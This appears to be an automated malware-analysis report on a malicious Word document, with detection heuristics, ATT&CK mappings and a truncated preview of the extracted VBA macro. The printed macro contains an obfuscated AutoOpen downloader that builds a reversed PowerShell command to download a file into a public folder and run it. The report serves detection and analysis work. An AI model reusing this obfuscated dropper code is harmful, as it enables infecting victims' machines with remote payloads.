MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing a VBA macro. The AutoOpen macro is designed to execute a shell command, likely to download and run a secondary payload. The ClamAV detection and heuristic firings strongly indicate downloader functionality.
Heuristics 5
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ClamAV: Doc.Downloader.Generic-6687952-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-6687952-0
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9612 bytes |
SHA-256: 0c116f855627f52f976753f072eff1eec2bea8681f86bf2900f2b29efa2c8fa6 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "TmlhWiDUrYf"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On _
Error _
Resume _
Next
Const ncCvzmDpnz = 0
Dim QjItEn()
ReDim QjItEn(3)
QjItEn(0) = NREPT / vOSXI * ZBDavP / 58954
QjItEn(1) = (50049 / RdqUfp * 10446 * jMnkRW * 14947 * bimJI * KZLrrN * NdZNF)
QjItEn(2) = nNuoip / jKVwIf * (RThsQp * TRInws * (WjNWMZ / 39083 * 89616 / uHTfGz))
Dim MUVKzr()
ReDim MUVKzr(2)
MUVKzr(0) = bNjIpi * WLzjDw * 36655 * 55025 * (4939 / TwOvwf / (86072 / fLbZG / (32451 / bhWzrV * 59713 / Zrlzdi)))
MUVKzr(1) = (96692 / kSmrBd / fhrvJX * wEinb) / 29941 * cKNoAo
Dim buRCRh()
ReDim buRCRh(2)
buRCRh(0) = ZUijXs * 11039 / PCwhw * IlTppD
buRCRh(1) = 30006 * RQnafX / 10727 * 32580 / iMnfQJ / cFvaJo * 88803 * 54037 / vTIzNb * 56812 * 39014 / CNwwNi
Dim LRotwh()
ReDim LRotwh(2)
LRotwh(0) = (PUTwlA / 62385 * (95846 / NaHZvG) / 52580 / lmkwJ * 41124 / NtEma)
LRotwh(1) = cnjZzE * wvubW * (tZvqnF * RIJwBF / 98557 / isvtX * knbAz * aZqsJ)
Shell@ lKoPQcPvE + PihjrHUZvwAq + ZVaXvhP, CInt(ncCvzmDpnz)
Dim vtYvD()
ReDim vtYvD(3)
vtYvD(0) = 5334 / rNMwq / uElBIk * fWMUq / ZOKdoY / bERlm
vtYvD(1) = (66777 / VZConK / 99584 / 63575 / 11243 / 23865 * 12035 * nBXZjE * (Ycqhj * 44663 / ZTqmz / ZzwFT))
vtYvD(2) = hffsI * XwlQDf * hhKHis * QNljr * 37145 / rTnDR * HWZsk / jMaoIQ * 20008 * RhOrT * (BHTtz * pkjcw)
Dim iiHHY()
ReDim iiHHY(5)
iiHHY(0) = 6047 / ocUAb * 25049 * rKpjIr / OFKKnT / QIdSY
iiHHY(1) = wzkAvW / KYWRYM * iNGzGw / Tcwzl * (bXTqhD / duZoom * Tqjslb / qCCjMa)
iiHHY(2) = (iUnDK / TmFfkV * OooRJT / GdtDL / (JkUQK / dczZm * (dAijkD / QwLBO)))
iiHHY(3) = XsYwAa / rAciRp * 40453 * sDPPB / 60714 * SXZtpu * NwiGin / EdwwBu * (YvPvit / tvmMG * 84599 * BYHlp)
iiHHY(4) = (mdALKh * 72935 * ZQQAlB / bKzHAX)
End Sub
Attribute VB_Name = "adKHRXzJGpZc"
Function lKoPQcPvE()
On _
Error _
Resume _
Next
Dim tojnJ()
ReDim tojnJ(4)
tojnJ(0) = 31588 * iTqonB / njCLPC / MOiSiz * tIcnKs * HMSVD * 74156 / RAjLjL * DMFUC * wSZGd
tojnJ(1) = UlLNA / ISjXjp * 22398 * ivNzH / 90306 / cqwWTH / OomMsm / NFnih / tUjcQI * VDFawi * rvPqjW * 36810
tojnJ(2) = rkXwY * 96506 / paQZU / HJTGKU / 38748 * jMNKJ * RpwBLH / 81901 * 56725 * ETjoAN / (JZNjjl * kWBwrI)
tojnJ(3) = KmOYD / 112 / OOMDiO * mafTz / 9352 * owaqj * (MfJIwV * uhVQz)
Dim vKBjF()
ReDim vKBjF(2)
vKBjF(0) = jwvVf / DVVqoh * 43939 * RjFEE / qUEFP * 43085 * 70284 / Hdvuk
vKBjF(1) = NNjnd * SBYqj / 66411 * 50894 * 14202 / LFwbwh
cTJKZGMQc = Format(Chr(10 + 12 + 5 + 12 + 60)) + "md /V^:/" + Format(Chr(7 + 8 + 3 + 8 + 41)) + Format(Chr(3 + 3 + 1 + 4 + 23)) + "^se^t ^I^1^5^Z" + "=^ ^ ^ ^ ^ " + "^ ^ ^ ^ ^ ^ }}{h" + Format(Chr(10 + 12 + 5 + 12 + 60)) + "t^a" + Format(Chr(10 + 12 + 5 + 12 + 60)) + "^}^;^k^a^er^b;^s^UM$ m" + "e^tI-^e^k^ovn^I^;)s^UM$^ " + ",^mY^D^$(el^i^Fdaoln^w^o" + "^D.u^Z^J${^yrt{)^I^B" + "^w^$^ ni^ ^mYD^$(h" + Format(Chr(10 + 12 + 5 + 12 + 60)) + "a" + "er^o^f^;" + "'^e^xe^.^'+^oF^j^$+'^\" + "^'^+" + Format(Chr(10 + 12 + 5 + 12 + 60)) + "il" + "^b^u^p^:vn^e$=s^U^M$^;^'^5"
Dim GIJzOr()
ReDim GIJzOr(3)
GIJzOr(0) = tzOsDz / 32956 * zqovNY / vdUvYw / (36487 / bAUuhU / 90901 / nhvml)
GIJzOr(1) = (23963 * 27916 / 61761 * oVbFs)
GIJzOr(2) = (fQZMj * STzaIm * 85260 * FjGEXB) * 27789 * mvjOo
Dim crijjo()
ReDim crijjo(2)
crijjo(0) = 56558 * 16014 / PoUNw / 23048 / (aWzGEO * iqCNi / dRqjiU * ZCIubb / 99073 / jhATaS)
crijjo(1) = 17713 / 85522 / cfOUAs / bwidzz / 70581 / icDXNC / 59264 * 56939 / 28972 * wJBtEL
Dim zGDFP()
ReDim zGDFP(4)
zGDFP(0) = (47568 * cSdwV)
zGDFP(1) = (lwVpzP * fowBzm / jihuS / YwibY * iNkkB / tpNMjE * witLI / GcWaz * (71748 / dLTnSu))
zGDFP(2) = (31894 * 70474 / YuEwVF / oXwdnW * (52062 * mVaSkI))
zGDFP(3) = (75399 / 75861 * 97622 * DhVZt * (72673 * WMKzHL))
Dim fhDwI()
ReDim fhDwI(2)
fhDwI(0) = HkpAwU / AckGFd / (34488 * cPdMp * 33221
... (truncated)
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